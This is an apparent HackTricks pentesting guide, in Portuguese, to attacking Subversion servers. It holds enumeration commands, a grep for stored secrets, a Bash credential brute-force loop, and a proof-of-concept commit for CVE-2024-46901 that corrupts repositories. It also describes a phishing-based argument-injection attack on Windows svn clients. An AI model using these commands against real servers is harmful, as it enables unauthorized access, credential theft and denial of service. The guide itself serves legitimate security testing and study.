3690/tcp - Pentesting Servidor Subversion (SVN)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informação Básica

Subversion (SVN) é um sistema de controle de versão centralizado (licença Apache) usado para versionamento de software e controle de revisões.

Porta padrão: 3690/tcp (svnserve). Também pode ser exposto via HTTP/HTTPS através de mod_dav_svn e via svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumeração

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting

  • svnserve.conf pode permitir anon-access = read (ou até write). Se você puder listar, tente checkout para extrair segredos, scripts, tokens de CI.
  • Repositórios frequentemente armazenam pipelines de build, chaves de implantação, e credenciais de banco de dados em arquivos de configuração versionados. Grep a cópia de trabalho após o checkout: grep -R "password\|secret\|token" -n ..
  • Se svn+ssh estiver habilitado, shells de usuário frequentemente permitem comandos svnserve restritos; tente ssh user@host svnserve -t com subcomandos especialmente criados para contornar wrappers.

Bruteforcing credentials (svnserve)

sasl authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. Um loop rápido em Bash pode tentar credenciais:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Vulnerabilidades Recentes (impacto prático)

mod_dav_svn DoS via caracteres de controle (CVE-2024-46901)

  • Um usuário com direitos de commit pode escrever um caminho contendo caracteres de controle (por ex. \x01, \x7f) que corrompe o repositório, fazendo com que checkouts/logs posteriores falhem e potencialmente causando a queda dos workers do mod_dav_svn.
  • Afeta o Subversion ≤ 1.14.4 quando servido via HTTP(S) (mod_dav_svn). Corrigido na 1.14.5.
  • PoC de commit com svnmucc (requer credenciais válidas de commit):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Após o commit, clientes normais podem travar ou recusar atualizações até que os administradores removam manualmente a revisão com svnadmin dump/filter/load.

Windows argument injection in svn client (CVE-2024-45720)

  • No Windows, a codificação de caracteres “best-fit” no svn.exe permite command-line argument injection ao processar caminhos/URLs não‑ASCII especialmente criados, potencialmente levando à execução arbitrária de programas.
  • Afeta Subversion ≤ 1.14.3 somente no Windows; corrigido na 1.14.4. Superfície de ataque: phishing a um desenvolvedor para executar svn em uma URL/caminho controlado pelo atacante.
  • Pentest angle: se você controlar um network share ou um ZIP entregue a um dev Windows, nomeie uma URL de repo ou caminho de working-copy contendo best-fit bytes que decodifiquem em argumentos injetados no estilo " & calc.exe & ", então engane a vítima para executar svn status ou comando similar nesse caminho.

Notas para o Fluxo de Exploração

  1. Verifique o método de acesso: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), ou svn+ssh://.
  2. Tente leitura anônima primeiro; depois faça spray de credenciais comuns. Se HTTP Basic estiver em uso, reutilize credenciais encontradas em outros lugares.
  3. Enumere hooks: scripts hooks/pre-commit, post-commit às vezes contêm credenciais em texto plano ou nomes de host.
  4. Aproveite svn:externals para puxar caminhos adicionais de outros hosts; liste-os com svn propget svn:externals -R . após o checkout.
  5. Version leaks: cabeçalhos de resposta HTTP do mod_dav_svn geralmente mostram a versão do Subversion & Apache; compare com 1.14.5 para identificar alvos vulneráveis.
  6. Se você obtiver acesso ao sistema de arquivos do repo, svnadmin dump/svnlook author/svnlook dirs-changed permitem análise offline sem credenciais.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks